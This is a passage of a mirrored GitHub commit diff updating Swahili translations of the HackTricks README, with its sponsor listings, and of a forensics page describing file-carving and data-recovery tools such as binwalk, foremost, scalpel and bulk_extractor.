mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['README.md', 'forensics/basic-forensic-methodology/partition
This commit is contained in:
parent
9ca8b36b71
commit
39f662f68e
43 changed files with 2090 additions and 1643 deletions
65
README.md
65
README.md
|
@ -2,41 +2,40 @@
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_Majina na muundo wa Hacktricks umetengenezwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Majina na muundo wa Hacktricks uliundwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**Karibu kwenye wiki ambapo utapata kila mbinu ya kudukua/kiufundi/chochote nilichojifunza kutoka kwenye CTFs, programu za maisha halisi, kusoma utafiti, na habari.**
|
**Karibu kwenye wiki ambapo utapata kila mbinu ya kudukua/kiufundi/chochote nilichojifunza kutoka kwa CTFs, programu za maisha halisi, kusoma utafiti, na habari.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ili kuanza fuata ukurasa huu ambapo utapata **mtiririko wa kawaida** ambao **unapaswa kufuata wakati wa kupima usalama** wa moja au zaidi **mashine:**
|
Ili kuanza, fuata ukurasa huu ambapo utapata **mtiririko wa kawaida** ambao **unapaswa kufuata wakati wa kufanya upimaji wa kuingilia** kwenye **mashine moja au zaidi:**
|
||||||
|
|
||||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Wadhamini wa Platinum
|
|
||||||
|
|
||||||
_Kampuni yako inaweza kuwa hapa._
|
|
||||||
|
|
||||||
## Wadhamini wa Kampuni
|
## Wadhamini wa Kampuni
|
||||||
|
|
||||||
### [STM Cyber](https://www.stmcyber.com)
|
### [STM Cyber](https://www.stmcyber.com)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli yao mbiu ni **KUDUKUA LISILOWEZEKANA**. Wanafanya utafiti wao wenyewe na kutengeneza zana zao za kudukua ili **kutoa huduma muhimu za usalama wa mtandao** kama kupima usalama, Timu Nyekundu na mafunzo.
|
[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli yao mbiu ni **KUDUKUA LISILOWEZEKANA**. Wao hufanya utafiti wao wenyewe na kutengeneza zana zao za kudukua ili **kutoa huduma muhimu za usalama wa mtandao** kama upimaji wa kuingilia, Timu Nyekundu na mafunzo.
|
||||||
|
|
||||||
Unaweza kuangalia **blogi** yao kwenye [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
Unaweza kuangalia **blogi** yao kwenye [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
**STM Cyber** pia inasaidia miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :)
|
**STM Cyber** pia hutoa msaada kwa miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :)
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### [RootedCON](https://www.rootedcon.com/)
|
### [RootedCON](https://www.rootedcon.com/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
***
|
||||||
|
|
||||||
### [Intigriti](https://www.intigriti.com)
|
### [Intigriti](https://www.intigriti.com)
|
||||||
|
|
||||||
|
@ -44,35 +43,39 @@ Unaweza kuangalia **blogi** yao kwenye [**https://blog.stmcyber.com**](https://b
|
||||||
|
|
||||||
**Intigriti** ni jukwaa la kwanza la kudukua kimaadili barani Ulaya na **bug bounty.**
|
**Intigriti** ni jukwaa la kwanza la kudukua kimaadili barani Ulaya na **bug bounty.**
|
||||||
|
|
||||||
**Mbinu ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la malipo ya juu lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
**Mbinu ya Bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la malipo la juu lililoanzishwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za jamii za **juu zaidi** duniani.
|
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** iliyosukumwa na zana za jamii za **juu zaidi** duniani.
|
||||||
|
|
||||||
Pata Ufikiaji Leo:
|
Pata Ufikiaji Leo:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!
|
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za bug!
|
||||||
|
|
||||||
**Machapisho ya Kudukua**\
|
**Machapisho ya Kudukua**\
|
||||||
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua
|
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua
|
||||||
|
|
||||||
**Habari za Kudukua za Wakati Halisi**\
|
**Habari za Kudukua za Wakati Halisi**\
|
||||||
Kaa sasa na ulimwengu wa kudukua unaobadilika haraka kupitia habari na ufahamu wa wakati halisi
|
Kaa sasa na ulimwengu wa kudukua wenye haraka kupitia habari na ufahamu wa wakati halisi
|
||||||
|
|
||||||
**Matangazo Mapya**\
|
**Matangazo Mapya**\
|
||||||
Baki mwelekezwa na bug bounty mpya zinazoanzishwa na sasisho muhimu za jukwaa
|
Baki mwelekezi na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa
|
||||||
|
|
||||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||||
|
|
||||||
|
@ -82,27 +85,37 @@ Baki mwelekezwa na bug bounty mpya zinazoanzishwa na sasisho muhimu za jukwaa
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Usanidi wa papo hapo wa upimaji wa udhaifu & upimaji wa kuingilia**. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoenda kutoka uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa kuingilia - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kina, kuvunja ganda, na kufurahi.
|
**Usanidi wa papo hapo kwa tathmini ya udhaifu & upimaji wa kuingilia**. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa kuingilia - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
### [Kikundi cha Usalama cha Try Hard](https://discord.gg/tryhardsecurity)
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### [WebSec](https://websec.nl/)
|
### [WebSec](https://websec.nl/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) ni kampuni ya usalama wa mtandao ya kitaalamu iliyoanzishwa huko **Amsterdam** ambayo husaidia **kulinda** biashara **kote ulimwenguni** dhidi ya vitisho vipya vya usalama wa mtandao kwa kutoa huduma za **usalama wa kushambulia** kwa njia **ya kisasa**.
|
[**WebSec**](https://websec.nl) ni kampuni ya usalama wa mtandao ya kitaalamu iliyoanzishwa huko **Amsterdam** ambayo husaidia **kulinda** biashara **ulimwenguni kote** dhidi ya vitisho vya usalama wa mtandao vya hivi karibuni kwa kutoa huduma za **usalama wa kuingilia** kwa njia **ya kisasa**.
|
||||||
|
|
||||||
WebSec ni **kampuni ya usalama ya kila kitu mmoja** ambayo inamaanisha wanafanya yote; Kudukua, Ukaguzi wa Usalama, Mafunzo ya Uelewa, Kampeni za Udukuzi, Ukaguzi wa Kanuni, Maendeleo ya Udukuzi, Kutoa Wataalam wa Usalama na mengi zaidi.
|
WebSec ni **kampuni ya usalama ya kila kitu mmoja** ambayo inamaanisha wanafanya yote; Upimaji wa Kuingilia, Ukaguzi wa Usalama, Mafunzo ya Uelewa, Kampeni za Udukuzi, Ukaguzi wa Nambari, Maendeleo ya Udukuzi, Kutuma Wataalamu wa Usalama na mengi zaidi.
|
||||||
|
|
||||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia WebSec ni **imara sana katika ujuzi wao**, kwa kiwango ambacho **wanahakikisha matokeo bora zaidi**, inasemwa kwenye tovuti yao "**Ikiwa hatuwezi kudukua, Hulipi!**". Kwa habari zaidi angalia [**tovuti**](https://websec.nl/en/) yao na [**blogi**](https://websec.nl/blog/)!
|
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia, WebSec ni **imara sana katika ujuzi wao**, kwa kiwango kwamba **wanahakikisha matokeo bora zaidi**, inasemwa kwenye tovuti yao "**Ikiwa hatuwezi kudukua, Hulipi!**". Kwa habari zaidi angalia [**tovuti**](https://websec.nl/en/) na [**blogi**](https://websec.nl/blog/) yao!
|
||||||
|
|
||||||
Mbali na hayo WebSec pia ni **msaidizi aliyejitolea wa HackTricks.**
|
Mbali na hayo, WebSec pia ni **mchangiaji aliyejitolea wa HackTricks.**
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||||
|
|
||||||
## Leseni & Taarifa ya Kisheria
|
## Leseni & Taarifa ya Kisheria
|
||||||
|
|
||||||
**Ziangalie:**
|
**Ziangalie hapa:**
|
||||||
|
|
||||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||||
|
@ -110,14 +123,14 @@ Mbali na hayo WebSec pia ni **msaidizi aliyejitolea wa HackTricks.**
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,25 +2,33 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Zana za Kuchonga na Kurejesha
|
## Zana za Kuchonga na Kurejesha
|
||||||
|
|
||||||
Zana zaidi kwenye [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
Zana zaidi kwenye [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||||
|
|
||||||
### Autopsy
|
### Autopsy
|
||||||
|
|
||||||
Zana inayotumiwa sana katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida.
|
Zana ya kawaida sana kutumika katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida.
|
||||||
|
|
||||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
|
@ -35,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||||
```
|
```
|
||||||
### Foremost
|
### Foremost
|
||||||
|
|
||||||
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya maoni kwao. Ikiwa hutotoa alama ya maoni kwa kitu chochote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi.
|
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya mstari. Ikiwa hutotoa alama yoyote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install foremost
|
sudo apt-get install foremost
|
||||||
foremost -v -i file.img -o output
|
foremost -v -i file.img -o output
|
||||||
|
@ -43,7 +51,7 @@ foremost -v -i file.img -o output
|
||||||
```
|
```
|
||||||
### **Scalpel**
|
### **Scalpel**
|
||||||
|
|
||||||
**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kufuta maoni kutoka kwenye faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka izichimbue.
|
**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizowekwa ndani ya faili**. Katika kesi hii, utahitaji kufuta maoni kutoka kwenye faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka izitoa.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install scalpel
|
sudo apt-get install scalpel
|
||||||
scalpel file.img -o output
|
scalpel file.img -o output
|
||||||
|
@ -56,7 +64,7 @@ Herramienta hii inaweza kutafuta picha na **kutoa pcaps** ndani yake, **taarifa
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
Pitia **maelezo yote** ambayo chombo kimekusanya (nywila?), **chambua** **pakiti** (soma [**Uchambuzi wa Pcaps**](../pcap-inspection/)), tafuta **vikoa vya ajabu** (vikoa vinavyohusiana na **programu hasidi** au **visivyokuwepo**).
|
Pitia **maelezo yote** ambayo chombo kimekusanya (maneno ya siri?), **chambua** **pakiti** (soma [**Uchambuzi wa Pcaps**](../pcap-inspection/)), tafuta **vikoa vya ajabu** (vikoa vinavyohusiana na **programu hasidi** au **visivyokuwepo**).
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
|
@ -72,18 +80,18 @@ Angalia [mimba](https://code.google.com/archive/p/binvis/) na [zana ya ukurasa w
|
||||||
|
|
||||||
#### Sifa za BinVis
|
#### Sifa za BinVis
|
||||||
|
|
||||||
* Mwangaza wa **muonekano wa muundo** na shughuli
|
* Mwonekano wa **muundo** wa kipekee
|
||||||
* Grafu nyingi kwa pointi tofauti za kuzingatia
|
* Grafu nyingi kwa maeneo tofauti ya kuzingatia
|
||||||
* Kuzingatia sehemu za sampuli
|
* Kuzingatia sehemu za sampuli
|
||||||
* **Kuona maneno na rasilimali**, katika utekelezaji wa PE au ELF kwa mfano
|
* **Kuona maneno na rasilimali**, katika utekelezaji wa PE au ELF kwa mfano
|
||||||
* Kupata **mifumo** kwa cryptanalysis kwenye faili
|
* Kupata **mifano** kwa cryptanalysis kwenye faili
|
||||||
* **Kutambua** pakiti au algorithm za kufunga
|
* **Kugundua** pakiti au algorithm za encoder
|
||||||
* **Kutambua** Steganografia kwa mifumo
|
* **Tambua** Steganografia kwa mifano
|
||||||
* **Mwangaza** wa tofauti za binary
|
* **Mwonekano** wa tofauti za binary
|
||||||
|
|
||||||
BinVis ni **mahali pazuri pa kuanzia ili kuzoea lengo lisilojulikana** katika hali ya sanduku jeusi.
|
BinVis ni **mahali pazuri pa kuanzia ili kuzoea lengo lisilojulikana** katika hali ya black-boxing.
|
||||||
|
|
||||||
## Vyombo Maalum vya Ukataji wa Data
|
## Vyombo Maalum vya Kuchonga Data
|
||||||
|
|
||||||
### FindAES
|
### FindAES
|
||||||
|
|
||||||
|
@ -96,16 +104,22 @@ Pakua [hapa](https://sourceforge.net/projects/findaes/).
|
||||||
Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.\
|
Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.\
|
||||||
Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf kuwa maandishi na kusoma.
|
Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf kuwa maandishi na kusoma.
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,17 +8,25 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
